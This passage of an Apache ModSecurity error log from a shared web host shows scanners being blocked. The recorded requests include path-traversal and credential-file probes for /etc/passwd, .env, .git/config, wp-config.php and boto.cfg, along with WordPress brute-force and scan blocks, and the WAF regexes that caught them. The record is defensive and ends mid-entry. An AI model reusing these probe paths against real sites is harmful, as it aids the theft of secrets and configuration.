https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL2V2ZW50Mi9kZXZpY2UvZXZlbnQyL2RldmljZS9pZA== [Sat Jun 13 18:12:39.623855 2026] [access_compat:error] [pid 531155:tid 531161] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvc3Vic3lzdGVtL2V2ZW50Mi9kZXZpY2UvZXZlbnQyL2RldmljZS9pZA== [Sat Jun 13 18:12:39.699682 2026] [security2:error] [pid 531797:tid 531978] [remote 82.165.2.98:33232] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 98.2.165.82.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "magisters-terrace.com"] [uri "/wp-login.php"] [unique_id "ai3x98TA7b1mZrmcA-84ywACPnE"], referer: https://magisters-terrace.com/wp-login.php [Sat Jun 13 18:12:39.727434 2026] [security2:error] [pid 531797:tid 532031] [client 103.153.183.69:48832] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/files../config.py"] [unique_id "ai3x98TA7b1mZrmcA-84zQAAAjY"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:39.772220 2026] [access_compat:error] [pid 531797:tid 531944] [remote 57.141.14.59:41353] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:39.772663 2026] [access_compat:error] [pid 531797:tid 531944] [remote 57.141.14.59:41353] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:39.855125 2026] [security2:error] [pid 531155:tid 531217] [remote 185.177.72.9:45824] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/etc/"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/etc/boto.cfg"] [unique_id "ai3x9ymiP80klyS0NnoFWgABcD0"] [Sat Jun 13 18:12:39.866565 2026] [security2:error] [pid 531797:tid 532032] [client 103.153.183.69:48860] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/files../docker-compose.yml"] [unique_id "ai3x98TA7b1mZrmcA-841wAAAjc"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:39.891036 2026] [security2:error] [pid 531797:tid 532101] [client 143.244.57.82:54534] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.eww.kxw.mybluehost.me"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "ai3x98TA7b1mZrmcA-842gAAAno"] [Sat Jun 13 18:12:39.920153 2026] [security2:error] [pid 531797:tid 532105] [client 103.153.183.69:48884] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/app.env"] [unique_id "ai3x98TA7b1mZrmcA-843QAAAn4"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:39.963107 2026] [security2:error] [pid 531797:tid 532067] [client 216.73.217.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.217.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/class_object/interface_exists_variation1.phpt"] [unique_id "ai3x98TA7b1mZrmcA-843wAAAlk"] [Sat Jun 13 18:12:39.995944 2026] [security2:error] [pid 531797:tid 532011] [client 103.153.183.69:48886] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/./app.env"] [unique_id "ai3x98TA7b1mZrmcA-844QAAAiM"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:39.998310 2026] [security2:error] [pid 531797:tid 532003] [client 103.153.183.69:48898] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "../etc/"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/assets../etc/passwd"] [unique_id "ai3x98TA7b1mZrmcA-844gAAAhs"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:40.023405 2026] [security2:error] [pid 531797:tid 531938] [remote 17.246.19.53:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 53.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x-MTA7b1mZrmcA-844wACS0o"] [Sat Jun 13 18:12:40.023989 2026] [security2:error] [pid 531797:tid 532076] [client 103.153.183.69:48898] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/app.env"] [unique_id "ai3x-MTA7b1mZrmcA-845QAAAmI"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:40.050583 2026] [security2:error] [pid 531797:tid 532104] [client 103.153.183.69:48906] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "../etc/"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/assets../etc/nginx/nginx.conf"] [unique_id "ai3x-MTA7b1mZrmcA-845gAAAn0"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:40.077686 2026] [security2:error] [pid 531797:tid 532080] [client 103.153.183.69:48906] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/assets../.env"] [unique_id "ai3x-MTA7b1mZrmcA-846QAAAmY"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:40.103311 2026] [security2:error] [pid 531797:tid 532095] [client 103.153.183.69:48906] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/assets../wp-config.php"] [unique_id "ai3x-MTA7b1mZrmcA-847QAAAnQ"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:40.107182 2026] [access_compat:error] [pid 531797:tid 531900] [remote 57.141.14.89:27516] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:40.107464 2026] [access_compat:error] [pid 531797:tid 531900] [remote 57.141.14.89:27516] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:40.122897 2026] [access_compat:error] [pid 531155:tid 531269] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvZGV2aWNlL2V2ZW50My9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZQ== [Sat Jun 13 18:12:40.123185 2026] [access_compat:error] [pid 531155:tid 531269] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvZGV2aWNlL2V2ZW50My9zdWJzeXN0ZW0vZXZlbnQwL2RldmljZQ== [Sat Jun 13 18:12:40.129060 2026] [security2:error] [pid 531797:tid 532034] [client 103.153.183.69:48918] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/assets../config.php"] [unique_id "ai3x-MTA7b1mZrmcA-847wAAAjk"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:40.155050 2026] [security2:error] [pid 531797:tid 532126] [client 103.153.183.69:48914] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/assets../index.php"] [unique_id "ai3x-MTA7b1mZrmcA-848AAAApE"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:40.186364 2026] [security2:error] [pid 531797:tid 532125] [client 143.244.57.82:54538] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.eww.kxw.mybluehost.me"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "ai3x-MTA7b1mZrmcA-848wAAApA"] [Sat Jun 13 18:12:40.234704 2026] [security2:error] [pid 531797:tid 532026] [client 103.153.183.69:48920] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/files/.env"] [unique_id "ai3x-MTA7b1mZrmcA-84-QAAAjI"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:40.261952 2026] [security2:error] [pid 531797:tid 532060] [client 103.153.183.69:48920] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/files/.env"] [unique_id "ai3x-MTA7b1mZrmcA-84-gAAAlI"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:40.288536 2026] [security2:error] [pid 531797:tid 532075] [client 103.153.183.69:48920] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/files/.env"] [unique_id "ai3x-MTA7b1mZrmcA-84_QAAAmE"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:40.314635 2026] [security2:error] [pid 531797:tid 532043] [client 103.153.183.69:48920] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/files/%2F.env"] [unique_id "ai3x-MTA7b1mZrmcA-85AQAAAkI"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:40.341975 2026] [security2:error] [pid 531797:tid 532089] [client 103.153.183.69:48932] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/files/.env"] [unique_id "ai3x-MTA7b1mZrmcA-85AwAAAm4"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:40.358788 2026] [access_compat:error] [pid 531155:tid 531270] [remote 57.141.14.16:38310] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:40.359250 2026] [access_compat:error] [pid 531155:tid 531270] [remote 57.141.14.16:38310] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:40.360450 2026] [access_compat:error] [pid 531797:tid 531866] [remote 57.141.14.21:33499] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:40.360881 2026] [access_compat:error] [pid 531797:tid 531866] [remote 57.141.14.21:33499] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:40.419934 2026] [security2:error] [pid 531797:tid 532005] [client 103.153.183.69:48912] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/assets../.git/config"] [unique_id "ai3x-MTA7b1mZrmcA-85CQAAAh0"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:40.489787 2026] [security2:error] [pid 531155:tid 531306] [client 143.244.57.82:54542] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.eww.kxw.mybluehost.me"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "ai3x-CmiP80klyS0NnoFcgAAAR8"] [Sat Jun 13 18:12:40.494915 2026] [security2:error] [pid 531155:tid 531275] [remote 17.22.237.171:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 171.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x-CmiP80klyS0NnoFcQABT3c"] [Sat Jun 13 18:12:40.522257 2026] [security2:error] [pid 531155:tid 531168] [remote 17.22.237.239:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 239.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x-CmiP80klyS0NnoFcwABbgw"] [Sat Jun 13 18:12:40.532074 2026] [security2:error] [pid 531797:tid 532074] [client 103.153.183.69:48948] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/assets../docker-compose.yml"] [unique_id "ai3x-MTA7b1mZrmcA-85DwAAAmA"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:40.597512 2026] [security2:error] [pid 531797:tid 532032] [client 103.153.183.69:48932] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/files/.env"] [unique_id "ai3x-MTA7b1mZrmcA-85EwAAAjc"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:40.628396 2026] [security2:error] [pid 531797:tid 532102] [client 103.153.183.69:48932] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/files/.env%23"] [unique_id "ai3x-MTA7b1mZrmcA-85FQAAAns"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:40.660950 2026] [security2:error] [pid 531155:tid 531331] [client 103.153.183.69:48876] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/FILES/.env"] [unique_id "ai3x-CmiP80klyS0NnoFdgAAATg"], referer: https://SMARTAGRICO.COM/ [Sat Jun 13 18:12:40.675532 2026] [access_compat:error] [pid 531155:tid 531192] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9ldmVudDUvcG93ZXI= [Sat Jun 13 18:12:40.675963 2026] [access_compat:error] [pid 531155:tid 531192] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9ldmVudDUvcG93ZXI= [Sat Jun 13 18:12:40.729269 2026] [security2:error] [pid 531797:tid 532040] [client 103.153.183.69:48958] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/static/.env"] [unique_id "ai3x-MTA7b1mZrmcA-85GQAAAj8"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:40.743021 2026] [security2:error] [pid 531797:tid 532105] [client 103.153.183.69:48972] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "../etc/"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/uploads../etc/passwd"] [unique_id "ai3x-MTA7b1mZrmcA-85GgAAAn4"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:40.769842 2026] [security2:error] [pid 531797:tid 532112] [client 103.153.183.69:48972] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/static/.env"] [unique_id "ai3x-MTA7b1mZrmcA-85HAAAAoU"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:40.783573 2026] [security2:error] [pid 531797:tid 532078] [client 103.153.183.69:48976] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "../etc/"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/uploads../etc/nginx/nginx.conf"] [unique_id "ai3x-MTA7b1mZrmcA-85HQAAAmQ"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:40.796781 2026] [security2:error] [pid 531797:tid 